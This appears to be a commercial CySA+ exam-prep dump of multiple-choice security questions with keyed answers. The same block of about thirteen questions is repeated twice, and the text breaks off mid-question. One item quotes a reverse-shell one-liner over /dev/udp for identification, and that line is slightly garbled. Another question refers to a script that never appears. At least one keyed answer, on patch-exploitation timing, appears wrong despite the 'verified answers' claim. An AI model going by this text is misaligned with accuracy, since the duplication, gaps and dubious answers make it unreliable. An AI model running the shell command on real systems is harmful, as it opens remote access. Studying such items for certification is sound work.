CYSA COMPTIA Exam Prep
CYSA COMPTIA EXAM PREP NEWEST 2026/2027 ACTUAL EXAM
COMPLETE 200 QUESTIONS AND CORRECT DETAILED ANSWERS
(VERIFIED ANSWERS) |ALREADY GRADED A+||BRAND NEW
VERSION!!
The Chief Executive Officer of an organization recently heard that exploitation of
new hacks in the industry was happening approximately 45 days after a patch was
released. Which of the following would best protect this organization?
A. A mean time to remediate of 30 days
B. A mean time to detect of 45 days
C. A mean time to respond of 15 days
D. Third-party application testing
A mean time to respond of 15 days
A security analyst recently joined the team and is trying to determine which
scripting language is being used in a production script to determine if it is
malicious. Given the following script:
Which of the following scripting languages was used in the script?
A. Powershell
B. Ruby
C. Python
D. Shell Script
PowerShell
A company's user accounts have been compromised. Users are also reporting that
the company's internal portal is sometimes only accessible through HTTP, other
times; it is accessible through HTTPS. Which of the following most likely describes
the observed activity?
A. There is an issue with the SSL certificate causing port 443 to become
unavailable for HTTPS access
1|Page
, CYSA COMPTIA Exam Prep
B. An on-path attack is being performed by someone with internal access that
forces users into port 80
C. The web server cannot handle an increasing amount of HTTPS requests so it
forwards users to port 80
D. The web server caused by BGP due to new rules applied over the company's
internal routers
An on-path attack is being performed by someone with internal access that forces
users into port 80
A SOC manager receives a phone call from an upset customer. The customer
received a vulnerability report two hours ago: but the report did not have a
follow-up remediation response from an analyst. Which of the following
documents should the SOC manager review to ensure the team is meeting the
appropriate contractual obligations for the customer?
A. SLA
B. MOU
C. NDA
D. Limitation of Liability
SLA (Service Level Agreement)
Which of the following phases of the Cyber Kill Chain involves the adversary
attempting to establish communication with a successfully exploited target?
A. Command and Control
B. Actions on objectives
C. Exploitation'
D. Delivery
Command and Control
A company that has a geographically diverse workforce and dynamic IPs wants to
implement a vulnerability scanning method with reduced network traffic. Which
of the following would best meet this requirement?
A. External
B. Agent-based
2|Page
, CYSA COMPTIA Exam Prep
C. Non-credential
D. Credentialed
Agent-based
A security analyst detects an exploit attempt containing the following command:
sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?
A. RICE
B. Reverse Shell
C. XSS
D SQL injection
Reverse Shell
An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to
a widely available exploit being used to deliver ransomware. Which of the
following factors would an analyst most likely communicate as the reason for this
escalation?
A Scope
B. Weaponization
C. CVSS
D. Asset value
Weaponization
Which of the following will most likely ensure that mission-critical services are
available in the event of an incident?
A. Business continuity plan
B. Vulnerability management plan
C. Disaster recovery plan
D. Asset management plan
Disaster recovery plan
The Chief Information Security Officer wants to eliminate and reduce shadow IT in
the enterprise. Several high-risk cloud applications are used that increase the risk
3|Page
, CYSA COMPTIA Exam Prep
to the organization. Which of the following solutions will assist in reducing the
risk?
A. Deploy a CASB and enable policy reinforcement
B. Configure MFA with strict access
C. Deploy an API gateway
D. Enable SSO to the cloud applications
Deploy a CASB and enable policy reinforcement
An incident response team receives an alert to start an investigation of an internet
outage. The outage is preventing all users in multiple locations from accessing
external SaaS resources. The team determines the organization was impacted by a
DDoS attack. Which of the following logs should the team review first?
A. CDN
B. Vulnerability scanner
C. DNS
D. Web Server
DNS ( Domain Name System)
A malicious actor has gained access to an internal network by means of social
engineering. The actor does not want to lose access in order to continue the
attack. Which of the following best describes the current state of the Cyber Kill
Chain that the threat actor is currently operating in?
A. Weaponization
B. Reconnaissance
C. Delivery
D. Exploitation
Exploitation
An analyst finds that an IP address outside of the company network that is being
used to run network and vulnerability scans across external-facing assets. Which
of the following steps of an attack framework is the analyst witnessing?
A Exploitation
B. Reconnaissance
4|Page
CYSA COMPTIA EXAM PREP NEWEST 2026/2027 ACTUAL EXAM
COMPLETE 200 QUESTIONS AND CORRECT DETAILED ANSWERS
(VERIFIED ANSWERS) |ALREADY GRADED A+||BRAND NEW
VERSION!!
The Chief Executive Officer of an organization recently heard that exploitation of
new hacks in the industry was happening approximately 45 days after a patch was
released. Which of the following would best protect this organization?
A. A mean time to remediate of 30 days
B. A mean time to detect of 45 days
C. A mean time to respond of 15 days
D. Third-party application testing
A mean time to respond of 15 days
A security analyst recently joined the team and is trying to determine which
scripting language is being used in a production script to determine if it is
malicious. Given the following script:
Which of the following scripting languages was used in the script?
A. Powershell
B. Ruby
C. Python
D. Shell Script
PowerShell
A company's user accounts have been compromised. Users are also reporting that
the company's internal portal is sometimes only accessible through HTTP, other
times; it is accessible through HTTPS. Which of the following most likely describes
the observed activity?
A. There is an issue with the SSL certificate causing port 443 to become
unavailable for HTTPS access
1|Page
, CYSA COMPTIA Exam Prep
B. An on-path attack is being performed by someone with internal access that
forces users into port 80
C. The web server cannot handle an increasing amount of HTTPS requests so it
forwards users to port 80
D. The web server caused by BGP due to new rules applied over the company's
internal routers
An on-path attack is being performed by someone with internal access that forces
users into port 80
A SOC manager receives a phone call from an upset customer. The customer
received a vulnerability report two hours ago: but the report did not have a
follow-up remediation response from an analyst. Which of the following
documents should the SOC manager review to ensure the team is meeting the
appropriate contractual obligations for the customer?
A. SLA
B. MOU
C. NDA
D. Limitation of Liability
SLA (Service Level Agreement)
Which of the following phases of the Cyber Kill Chain involves the adversary
attempting to establish communication with a successfully exploited target?
A. Command and Control
B. Actions on objectives
C. Exploitation'
D. Delivery
Command and Control
A company that has a geographically diverse workforce and dynamic IPs wants to
implement a vulnerability scanning method with reduced network traffic. Which
of the following would best meet this requirement?
A. External
B. Agent-based
2|Page
, CYSA COMPTIA Exam Prep
C. Non-credential
D. Credentialed
Agent-based
A security analyst detects an exploit attempt containing the following command:
sh -i >& /dev/udp/10.1.1.1/4821 0>$l
Which of the following is being attempted?
A. RICE
B. Reverse Shell
C. XSS
D SQL injection
Reverse Shell
An older CVE with a vulnerability score of 7.1 was elevated to a score of 9.8 due to
a widely available exploit being used to deliver ransomware. Which of the
following factors would an analyst most likely communicate as the reason for this
escalation?
A Scope
B. Weaponization
C. CVSS
D. Asset value
Weaponization
Which of the following will most likely ensure that mission-critical services are
available in the event of an incident?
A. Business continuity plan
B. Vulnerability management plan
C. Disaster recovery plan
D. Asset management plan
Disaster recovery plan
The Chief Information Security Officer wants to eliminate and reduce shadow IT in
the enterprise. Several high-risk cloud applications are used that increase the risk
3|Page
, CYSA COMPTIA Exam Prep
to the organization. Which of the following solutions will assist in reducing the
risk?
A. Deploy a CASB and enable policy reinforcement
B. Configure MFA with strict access
C. Deploy an API gateway
D. Enable SSO to the cloud applications
Deploy a CASB and enable policy reinforcement
An incident response team receives an alert to start an investigation of an internet
outage. The outage is preventing all users in multiple locations from accessing
external SaaS resources. The team determines the organization was impacted by a
DDoS attack. Which of the following logs should the team review first?
A. CDN
B. Vulnerability scanner
C. DNS
D. Web Server
DNS ( Domain Name System)
A malicious actor has gained access to an internal network by means of social
engineering. The actor does not want to lose access in order to continue the
attack. Which of the following best describes the current state of the Cyber Kill
Chain that the threat actor is currently operating in?
A. Weaponization
B. Reconnaissance
C. Delivery
D. Exploitation
Exploitation
An analyst finds that an IP address outside of the company network that is being
used to run network and vulnerability scans across external-facing assets. Which
of the following steps of an attack framework is the analyst witnessing?
A Exploitation
B. Reconnaissance
4|Page
